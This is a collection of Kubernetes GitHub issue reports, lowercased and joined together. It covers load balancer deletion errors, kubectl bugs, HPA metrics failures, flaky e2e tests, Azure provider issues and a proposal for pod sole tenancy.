redacted>/global/httphealthchecks/k8s-<health-check-id redacted>-node' is already being used by 'projects/<gce-project redacted>/regions/europe-west1/targetpools/<target-pool-id redacted>'\r i0628 13:13:31.374635       1 event.go:218  event v1.objectreference{kind:\ service\ , namespace:\ test\ , name:\ test-abc\ , uid:\ <redacted>\ , apiversion:\ v1\ , resourceversion:\ <redacted>\ , fieldpath:\ \ } : type: 'warning' reason: 'deletingloadbalancerfailed' error deleting load balancer  will retry : gce 200 - resource_in_use_by_another_resource: the http_health_check resource 'projects/<gce-project redacted>/global/httphealthchecks/k8s-<health-check-id redacted>-node' is already being used by 'projects/<gce-project redacted>/regions/europe-west1/targetpools/<target-pool-id redacted>'\r    \r \r   what you expected to happen  :\r if health check not longer used by other, it should be deleted, else cloudprovider should ignore it and return. same named lb service creation should work.\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy a lb service on gce v1.10 cluster.\r    yaml\r apiversion: v1\r kind: service\r metadata:\r   name: test-abc\r   namespace: test\r spec:\r   externaltrafficpolicy: cluster\r   ports:\r   - name: test\r     port: 443\r     protocol: tcp\r     targetport: 443\r   selector:\r     app: test\r   sessionaffinity: none\r   type: loadbalancer\r    \r delete it again and tail controller manager logs.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-22t05:40:33z\ , goversion:\ go1.9.7\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gce\r \r  

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r \r   which test s  are failing  :\r jmeter-5.1\r   since when has it been failing  :\r \r   testgrid link  :\r \r   reason for failure  :\r load test reports show that repsonse time from applications running on multi-node full-blown eks cluster is much much slower than that from the same application running on a single-node ec2 cluster.\r \r   anything else we need to know  :\r i have a full-blown kubernetes deployed on aws eks with alb ingress, horizontal pod autoscaler and cluster autoscaler. at the time of running the load test, 5 nodes are running and  kubectl get hpa -w  shows that the application is only at 20%/75% target.\r \r jmeter configuration:\r \r ramp-up time: 100 seconds\r    \r users     eks     ec2\r 500:     200ms    100ms\r 1000:   5500ms  100ms\r

originally from kubernetes/charts 366\r \r    \r kubectl get secret mysecret -o jsonpath=\ {.data.password   }\ \r error executing template: string is not array or slice. printing more information for debugging the template:\r \ttemplate was:\r \t\t{.data.password   }\r \tobject given to jsonpath engine was:\r \t\tmap string interface {}{\ type\ :\ opaque\ , \ kind\ :\ secret\ , \ apiversion\ :\ v1\ , \ metadata\ :map string interface {}{\ name\ :\ mysecret\ , \ namespace\ :\ default\ , \ selflink\ :\ /api/v1/namespaces/default/secrets/mysecret\ , \ uid\ :\ 87f682e9-d381-11e6-aa89-42010a800002\ , \ resourceversion\ :\ 2981914\ , \ creationtimestamp\ :\ 2017-01-05t19:59:56z\ }, \ data\ :map string interface {}{\ password\ :\ mwyyzdflmmu2n2rm\ , \ username\ :\ ywrtaw4=\ }}\r \r error: error executing jsonpath \ {.data.password   }\ : string is not array or slice\r    \r \r according to https://github.com/kubernetes/charts/issues/366 issuecomment-270776575, kubectl used to support       for strings in 1.4.\r but kubectl now complains about using       for strings in 1.5.\r \r @kubernetes/sig-cli-misc

it's extremely difficult to understand the various certs, keys, cas, etc from the command line flag names and help strings.\r \r work items:\r 1. make a doc, disambiguate all the various keys, clarify which aspects of the key  pub, priv, ca, cert, cert bundle  is needed and why.\r 2. define a flag naming scheme that is consistent, e.g.,  -<name>-{private-key|public-key|ca|cert|bundle} \r 3. change code, keep existing flag names for backwards compatibility, but deprecate them.\r 4.  2+ releases later  remove old flag names.

is this a bug report or feature request?    choose one : bug report\r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t20:41:24z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-beta.2\ , gitcommit:\ ceab7f7a6753c20d3be75463b17402fdcea856ba\ , gittreestate:\ clean\ , builddate:\ 2017-06-15t16:53:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :  vsphere\r -   os    e.g. from /etc/os-release :  \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1353.8.0\r version_id=1353.8.0\r build_id=2017-05-30-2322\r pretty_name=\ container linux by coreos 1353.8.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r    \r -   kernel    e.g.  uname -a  : 4.9.24-coreos\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r after bringing a cluster up, there are no container metrics in the kubelet at /metrics\r \r   what you expected to happen  :\r i expect to see the  container_  metrics, but there are none\r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r if i try and access the metrics in cadvisor directly on port 4194 instead of on port 10255 then i see the following type of error for all of the metrics:\r \r    \r   collected metric container_tasks_state label:<name:\ container_name\  value:\ zabbix-agent\  > label:<name:\ id\  value:\ /kubepods/besteffort/pod7f16ef41-5511-11e7-a4a0-0050569c59e0/d27ce4fc153ece655aba5347f3a3f0062a0d0e9a07f6ec4a0ec15e37af506a43\  > label:<name:\ image\  value:\ zabbix/zabbix-agent@sha256:ebaf779e63aadf8b196c7661833cab07e5cb1c71721174dc19f00fe8fb3d23d0\  > label:<name:\ name\  value:\ k8s_zabbix-agent_zabbix-agent-3xcqc_kube-system_7f16ef41-5511-11e7-a4a0-0050569c59e0_0\  > label:<name:\ namespace\  value:\ kube-system\  > label:<name:\ pod_name\  value:\ zabbix-agent-3xcqc\  > label:<name:\ state\  value:\ uninterruptible\  > gauge:<value:0 >  has label dimensions inconsistent with previously collected metrics in the same metric family\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : feature request\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r we need to add a label for kernel version to assign the pod which depends on kernel version.\r \r ref to https://github.com/kubernetes/kubernetes/pull/51006

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r  this line of code  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/azure_dd/azure_provision.go l124  will set default fstype as  ext4  which is not applicable for windows disk\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7 - v1.11\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r   /assign

flaky job: pr:pull-kubernetes-kubemark-e2e-gce-big  flakes in the past week:   24    consistency:   92.00%         flakiest tests by flake count: | test | flake count | | --- | --- | | up | 28 | | kubemark overall | 23 | | kubemark test | 20 |    flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

  \r   what happened  :\r  warning  failedcomputemetricsreplicas  17m  x13 over 23m   horizontal-pod-autoscaler  failed to get cpu utilization: unable to get metrics for resource cpu: unable to fetch metrics from resource metrics api: the server could not find the requested resource  get pods.metrics.k8s.io  \r \r  warning  failedgetresourcemetric       3m  x41 over 23m    horizontal-pod-autoscaler  unable to get metrics for resource cpu: unable to fetch metrics from resource metrics api: the server could not find the requested resource  get pods.metrics.k8s.io \r  \r   what you expected to happen  :\r working hpa\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl describe hpa -n qa pod\r \r   environment  :\r - kubernetes version - v1.10.1\r - cloud provider or hardware configuration: vmware\r - os centos linux release 7.4.1708 \r - kernel 3.10.0-693.21.1\r

is this a bug report or feature request?  :\r  \r   what happened  :\r following test case will fail with azure provider:\r   sig-network  services should be able to switch session affinity for loadbalancer service with esipp on  slow  \r log:\r    \r may 16 03:39:15.145: info: affintity shouldn't hold but did.\r    \r \r the case creates a service and then switches sessionaffinity, but that was not handled by azure provider.\r https://github.com/kubernetes/kubernetes/blob/v1.11.0-alpha.1/pkg/cloudprovider/providers/azure/azure_loadbalancer.go l1256\r \r currently comparing is based on rule name which does not have affinity information. so during updating, the loaddistribution property is not updated.\r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.1\ , gitcommit:\ 4761788b2afa42a4573a6794902eb93fe666d5c5\ , gittreestate:\ clean\ , builddate:\ 2018-04-19t19:25:45z\ , goversion:\ go1.10.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }

\r  root@master node   curl -v https://master:6443/ --cacert /opt/kubernetes/cert/ca.crt --key /opt/kubernetes/cert/client.key --cert /opt/kubernetes/cert/client.crt \r   about to connect   to master port 6443   0 \r     trying 192.168.1.234...\r   connected to master  192.168.1.234  port 6443   0 \r   initializing nss with certpath: sql:/etc/pki/nssdb\r     cafile: /opt/kubernetes/cert/ca.crt\r   capath: none\r   nss: client certificate from file\r         subject: cn=master\r         start date: jul 30 00:38:15 2018 gmt\r         expire date: apr 07 00:38:15 2032 gmt\r         common name: master\r         issuer: cn=zh\r   ssl connection using tls_ecdhe_rsa_with_aes_128_gcm_sha256\r   server certificate:\r         subject: cn=master\r         start date: jul 30 00:37:57 2018 gmt\r         expire date: apr 07 00:37:57 2032 gmt\r         common name: master\r         issuer: cn=zh\r > get / http/1.1\r > user-agent: curl/7.29.0\r > host: master:6443\r > accept:  / \r > \r < http/1.1 403 forbidden\r < content-type: application/json\r < x-content-type-options: nosniff\r < date: mon, 30 jul 2018 01:57:34 gmt\r < content-length: 223\r < \r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \r   },\r   \ status\ : \ failure\ ,\r   \ message\ : \ forbidden: user \\\ master\\\  cannot get path \\\ /\\\ \ ,\r   \ reason\ : \ forbidden\ ,\r   \ details\ : {\r     \r   },\r   \ code\ : 403\r   connection  0 to host master left intact\r }\r

what happened  :\r \r  kubectl get <resource> <name> --watch-only   makes get request for a resource despite what documentation says\r \r   what you expected to happen  :\r \r only watch request is made\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r $ kubectl  --v=6 get sa default --watch-only\r i1207 13:34:18.650646    9886 round_trippers.go:405  get https://apiserver/api/v1/namespaces/default/serviceaccounts/default 200 ok in 81 milliseconds\r i1207 13:34:18.662141    9886 round_trippers.go:405  get https://apiserver/api/v1/namespaces/default/serviceaccounts?fieldselector=metadata.name%3ddefault&resourceversion=0&watch=true 200 ok in 10 milliseconds\r    \r \r notice there is a first get,  which fetches object, if i understand  --watch-only  description correctly it shouldn't be there.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t21:04:45z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.5\ , gitcommit:\ 753b2dbc622f5cc417845f0ff8a77f539a4213ea\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t14:31:35z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r /area kubectl\r 

i0123 09:17:30.849536   18641 flags.go:33  flag: --container-runtime=\ remote\ \r i0123 09:17:30.849540   18641 flags.go:33  flag: --container-runtime-endpoint=\ unix:///var/run/docker/containerd/docker-containerd.sock\ \r \r e0123 09:17:30.895631   18641 remote_runtime.go:72  version from runtime service failed: rpc error: code = unimplemented desc = unknown service runtime.v1alpha2.runtimeservice\r e0123 09:17:30.895892   18641 kuberuntime_manager.go:184  get runtime version failed: rpc error: code = unimplemented desc = unknown service runtime.v1alpha2.runtimeservice\r f0123 09:17:30.895924   18641 server.go:261  failed to run kubelet: failed to create kubelet: rpc error: code = unimplemented desc = unknown service runtime.v1alpha2.runtimeservice

seen in testnodepidpressure in https://prow.k8s.io/view/gcs/kubernetes-jenkins/pr-logs/pull/78770/pull-kubernetes-integration/1136730984738197506/\r \r    \r panic: runtime error: integer divide by zero\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x105\r /usr/local/go/src/runtime/panic.go:522 +0x1b5\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/scheduler/core/generic_scheduler.go:520 +0xc97\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/scheduler/core/generic_scheduler.go:207 +0x43b\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/scheduler/scheduler.go:284 +0x5d\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/scheduler/scheduler.go:461 +0x445\r    \r \r /milestone v1.15\r  / \r including in the milestone to make sure this gets triaged before release

i'm trying to follow the coreos/azure startup guide: https://github.com/kubernetes/kubernetes/blob/master/docs/getting-started-guides/coreos/azure/readme.md  i can pull up the vms, but when i try to ssh to the the root kubernetes node, i get asked for a passphrase for the ssh key:      $ ssh -f output/kube_49a47311e556f3_ssh_conf kube-00 permission denied  publickey .      i'm not sure what the passphrase is supposed to be, and i asked this question on so as well: http://stackoverflow.com/questions/32395099/default-ssh-passphrase-as-generated-by-openssl-req

hi,  recenly, one of our clusters on gce  1.1.7  started having intermittent connection issues. it turned out to be dns resolver issues. here are my findings during a recent occurance: - pods can not resolve anything. - if i remove skydns ip from /etc/resolv.conf, they work fine.  secondary ip is 169.254.169.254  - skydns logs  2016/02/29 04:54:22 skydns: failure to forward request \ read udp 169.254.169.254:53: i/o timeout\   lines during these outages. - our apps perform a lot of requests on several google apis and facebook apis. these would create a lot of dns requests. - using default config provided by google cloud. - tried replacing all nodes, which effectively restarted every single pod and this did not resolve anything. - created another cluster while this was happening, it came up with the same issues. this would make me believe that the dns server was down but only skydns was failing at this point.  i thought maybe the dns server was throttling our requests. this would make sense that multiple clusters failed at the same time. but being able to directly query  169.254.169.254  from pods seems to eliminate this.  so, for some reason, skydns starts failing and recovers by itself. on the host machines everything works perfectly fine as they query the gce dns server directly.  what could be the reason / solution in this?  thanks!

i would like to specify my docker image by  digest  instead of  tag  for a more 'immutable'  guarantee that the image  pulled is the exact image i specified in my  podspec .  docker supports this with the  @digest  format:  docker pull  options  name :tag|@digest    example:      $ docker pull internal-registry/dashboard@sha256:b2ea388fdbabb22f10f2e9ecccaccf9efc3a11fbd987cf299c79825a65b62751 sha256:b2ea388fdbabb22f10f2e9ecccaccf9efc3a11fbd987cf299c79825a65b62751: pulling from dashboard digest: sha256:b2ea388fdbabb22f10f2e9ecccaccf9efc3a11fbd987cf299c79825a65b62751 status: image is up to date for internal-registry/dashboard@sha256:b2ea388fdbabb22f10f2e9ecccaccf9efc3a11fbd987cf299c79825a65b62751      but when i specify the following:      image: internal-registry/dashboard@sha256:366f2380e0511597490ccbb3b2c2d1e5804b667a61c4a91d04bf84ef4e41305e      the pod errors with:      error syncing pod, skipping: failed to \ startcontainer\  for \ kubernetes-dashboard-canary\  with errimagepull: \ image pull failed for internal-registry/dashboard@sha256:366f2380e0511597490ccbb3b2c2d1e5804b667a61c4a91d04bf84ef4e41305e, this may be because there are no credentials on this request.  details:  api error  500 : missing signature key\  \       i believe the error is in parsing the  image  logic somewhere around https://github.com/kubernetes/kubernetes/blob/6a87dba0b8a50dccaddb67a4c7748696db1918ec/pkg/kubelet/dockertools/docker.go l148-l153

this should be easy to write and it makes iterating on petset development fast. sometimes you just want some fast storage for each pet, simply  /tmp/ns_petname  should do. the petset will create the appropriate claims, we just need a provisioner that creates a pv  based on the storage class annotation  that takes the pvc name and shoves it under the hostpath, eg:      yaml apiversion: v1 kind: persistentvolume metadata:   name: pv-provisioning-test spec:   capacity:     storage: 10mi   accessmodes:     - readwriteonce   hostpath:     path: /tmp/default_foo-0      i know this sounds similar to datagravity but it's mostly for dev work, nothing serious.  @kubernetes/sig-storage

i'm not sure what the state of  kubectl login  is  every pr seems to have been closed? , but on reviewing the google oauth docs it seems we probably should be using the limited-device flow:\r https://developers.google.com/identity/protocols/oauth2fordevices\r \r this is probably at least as simple as \ listen on localhost\  flow, but also avoids all the problems of listening on a local port  security, how do we deal with collisions

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-pre-release/1128/  failed:  k8s.io  kubectl client  k8s.io  kubectl logs should be able to retrieve and filter logs  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:876 nov 10 03:04:23.010: verified 0 of 1 pods , error : timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:255       previous issues for this test:  26139  28342  28439  31574

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubelet-gce-e2e-ci/11183/  failed:  k8s.io  pods should be submitted and removed  conformance  {e2enode suite}      /var/lib/jenkins/workspace/kubelet-gce-e2e-ci/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:261 nov 15 15:34:39.053: failed to observe pod creation: {error &status{listmeta:listmeta{selflink:,resourceversion:,},status:failure,message:too old resource version: 29  30 ,reason:gone,details:nil,code:410,}} /var/lib/jenkins/workspace/kubelet-gce-e2e-ci/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:194       previous issues for this test:  30566

is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t07:31:07z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : self-hosted\r -   os    e.g. from /etc/os-release : ubuntu\r -   kernel    e.g.  uname -a  : linux 4.4.0-59-generic  80-ubuntu smp fri jan 6 17:47:47 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kubeadm\r -   others  :\r \r \r   what happened  :\r when create pod with this command:  kubectl run go-http-test -it --rm --port 5000 --expose=true --image=tanapolsh/go-http-test --restart=never , pod don't have label  run=go-http-test  which doesn't matched with service's selector causing cannot use service to pod\r \r   what you expected to happen  :\r every pod that is created with  kubectl run  should be assigned with label  run=${run_name} \r

currently the time it takes for hpa and ca to scale up after load increase is not measured at all, and this can lead to regressions that will be missed. this issue is about adding an e2e test that will prevent such regressions.\r \r @wojtek-t @fgrzadkowski

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  : \r \r  yum install -y kubeadm-1.6.1  will automatically install kubectl-1.7.3 but kubectl-1.6.1\r \r   what you expected to happen  :\r \r  yum install -y kubeadm-1.6.1  should not reply on higher version kubectl.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  yum install -y kubeadm-1.6.1 \r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.3\r - cloud provider or hardware configuration  :   4 core 16g ram \r - os  e.g. from /etc/os-release :  centos linux 7  core \r - kernel  e.g.  uname -a  : linux 10-8-108-92 3.10.0-327.22.2.el7.x86_64  1 smp thu jun 23 17:05:11 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r

what happened  :\r https://kubernetes.io/docs/api-reference/v1.8/ pod-v1-core shows an example of a  pod  but the container does not have a name which is a required field  i get an error from kubectl with this example .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.8.3 server and client\r \r   

tl;dr: we need to modify   podaffinityterm.namespaces  https://github.com/kubernetes/api/blob/5cb170de1f060ebf2dde62cc4b8241fdb3c01203/core/v1/types.go l2584  to allow a way to say \ all namespaces.\  we also need an optional admission controller to add a \ tenant\  label to all non-system pods.\r \r full details:\r \r  taints and tolerations  https://kubernetes.io/docs/concepts/configuration/taint-and-toleration/  enable \ dedicated nodes\  i.e. statically space-partition your cluster among users/workloads, although this isn't yet secure  see https://github.com/kubernetes/kubernetes/issues/48041 issuecomment-323266418 and https://github.com/kubernetes/community/pull/911 . \r \r a more efficient way of ensuring that untrusting/conflicting tenants don't share a node, is \ sole tenancy.\  in this model a pod can only use a node if it is empty  ignoring system pods  or is only running pods from the same tenant  ignoring system pods . this dynamically space-partitions the cluster among tenants and doesn't require the management overhead of dedicated nodes.  of course in both approaches, some nodes can be shared, by tenants that have pods that don't need exclusive access, if that's desired.  sole tenancy is what this issue is about.\r \r unfortunately there's no way to do this right now.\r \r to understand the rest of this issue, you need to understand  podaffinityterm  https://github.com/kubernetes/api/blob/5cb170de1f060ebf2dde62cc4b8241fdb3c01203/core/v1/types.go l2584  which is the way a pod that is requesting pod affinity or anti-affinity specifies which pods it wants to affinitize/anti-affinitize to/from. the important part is that it takes a list of namespaces, and a label selector that is applied against the pods in that/those namespace s . if the list of namespaces is empty, it means \ my namespace.\  there is no way to specify \ all namespaces except mine\   you'd have to list them individually, and keep them up-to-date . label selector is described  here  https://github.com/kubernetes/apimachinery/blob/a04e753f5223cf882db01ac64212682ea28767b4/pkg/apis/meta/v1/types.go l899 ; empty label selector matches all objects. lastly, note that you can specify more than one pod affinity and/or pod anti-affinity expression for a pod, and the resulting sets of nodes are intersected.  there is no way to do or.  \r \r first, note that hard pod affinity  e.g. the tenant labels all of its pods with some label tenant=x, and uses hard pod affinity to say \ only run me on nodes that are already running pods with tenant=x\   doesn't work because  1  the scheduler may choose a node that is already running pods without tenant=x, and  2  even if the scheduler picks an initially empty node, once it fills up that node with tenant=x pods, the rest of the tenant's pods will go pending.  if you're wondering how the first pod from the tenant gets scheduled, see the special case code  here  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/predicates/predicates.go l1305 .  an alternative way of using hard pod affinity has the same problem: don't bother with the labels, and say \ only run me on nodes that have pods that match the 'return all objects' label selector in my namespace\   i.e. on nodes that have pods from my namespace . note that there is no way to say \ or empty nodes\  for either of these approaches, but such a feature wouldn't help anyway because it would only solve problem  2  not problem  1 .\r \r so, we need to use hard pod anti-affinity. what we want to say is \ do not run me on nodes that are already running a pod from any namespace such that the pod has label tenant != x\   note that \ do not run me on nodes that are already running pods from another namespace\  sounds appealing but doesn't work because nodes invariably will have some pods from the kube-system namespace running . unfortunately you can't express this today because podaffinityterm has no way to say \ all namespaces\  -- you either have to give an explicit list of namespaces you care about or say \ my namespace.\  so we need to change  podaffinityterm.namespaces  to let you say \ all namespaces.\   i believe it just requires changing  this function  https://github.com/kubernetes/kubernetes/blob/078a3b653b9c1bd74adb4265f3bc8a3dbc386153/plugin/pkg/scheduler/algorithm/priorities/util/topologies.go l28 .  then we use an admission controller to label all pods with a \ tenant\  label, and a pod from tenant x that wants sole tenancy can put in its podspec a podantiaffinity that looks like  pseudo-config here! \r    \r podantiaffinity.requiredduringschedulingignoredduringexecution = {\r      labelselector: tenant not in {\ x\ }\r     namespaces: all namespaces\r     topologykey: node \r }\r    \r \r per-node system pods  e.g. fluentd  would not have a tenant label, otherwise no sole-tenant pods would ever schedule. cluster-level system pods  e.g. heapster  could or could not have a tenant label, depending on whether the cluster admin wants sole tenant pods to be able to co-schedule with cluster-level system pods. note that the reason this works  i.e. a pod with with such an anti-affinity rule can schedule onto a node with pods that have no \ tenant\  label  is that  tenant not in {\ x\ }  will not match pods that lack the tenant label  due to  this code  https://github.com/kubernetes/apimachinery/blob/18a564baac720819100827c16fdebcadb05b2d0d/pkg/labels/selector.go l187  .\r \r to make this secure, the admission controller that adds a \ tenant\  label to all non-system pods should also deny creation of pods that already have the label if the value is not set properly  or change it to the proper one , and deny updating a pod to change or remove the \ tenant\  label.\r \r btw i'm 90% sure we originally let you say \ all namespaces\  but removed that feature for some reason. but i don't see how to do sole tenancy without it. it would be good to re-discover why we removed it, though  probably performance issues? . there is hopefully some way we can make this not have terrible performance  e.g. do the label comparison once per pod instead of once per pod per namespace in the system .\r \r the idea of having the system automatically add a \ namespace\  label to every pod has been discussed in the past. i believe it was in the discussion about how to select pods for networkpolicy.\r \r   

is this a bug report or feature request?  :\r \r  \r   what happened  :\r the service sync loop is too aggressive and does not respect    --service-sync-period    as documented here https://kubernetes.io/docs/reference/generated/kube-controller-manager/ nor does it default to 5 mins. calls are spawn off immediately to cloud provider's    ensureloadbalancer      \r \r > a quick check against https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/service/service_controller.go l205 shows that the flag is not used at all.\r \r   what you expected to happen  :\r service controller respecting the    --service-sync-period    period argument \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1- create a cluster on any environment  this test was done on azure, but wouldn't be different for any cloud provider .\r 2- create service  type=loadbalancer  via\r    \r kubectl run n01 --image nginx --replicas 3 \r kubectl expose deployment n01 --type=loadbalancer --port 80\r    \r 3- watch service creation on load balancer via    watch kubectl get svc    or just watch controller logs as it calls cloud provider's    ensureloadbalancer     \r 4- the behavior is the same when deleting a service\r \r the test ran with a controller with    --service-sync-period=6m    argument\r  \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.9\r - cloud provider or hardware configuration: azure  and others \r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts  xenial xerus \r - kernel  e.g.  uname -a  : linux k8s-master-30081023-0 4.13.0-1005-azure  7-ubuntu smp mon jan 8 21:37:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: acs-engine\r - others:\r \r @kubernetes/sig-network-bugs \r @kubernetes/sig-azure-misc \r @jdumars \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  \r \r   what happened  :\r    \r  sig-network  services\r   should be able to switch session affinity for loadbalancer service with esipp on  slow   disabledforlargeclusters \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/service.go:1580\r  beforeeach   sig-network  services\r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:141\r step: creating a kubernetes client\r aug 27 21:12:18.186: info: >>> kubeconfig: /tmp/kubeconfig-751029509\r step: building a namespace api object\r step: waiting for a default service account to be provisioned in namespace\r  beforeeach   sig-network  services\r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/service.go:83\r  it  should be able to switch session affinity for loadbalancer service with esipp on  slow   disabledforlargeclusters \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/service.go:1580\r step: creating service in namespace e2e-tests-services-g9z6g\r step: creating service service in namespace e2e-tests-services-g9z6g\r step: creating replication controller service in namespace e2e-tests-services-g9z6g\r i0827 21:12:18.249332       8 runners.go:177  created replication controller with name: service, namespace: e2e-tests-services-g9z6g, replica count: 3\r i0827 21:12:21.299803       8 runners.go:177  service pods: 3 out of 3 created, 3 running, 0 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready\r step: 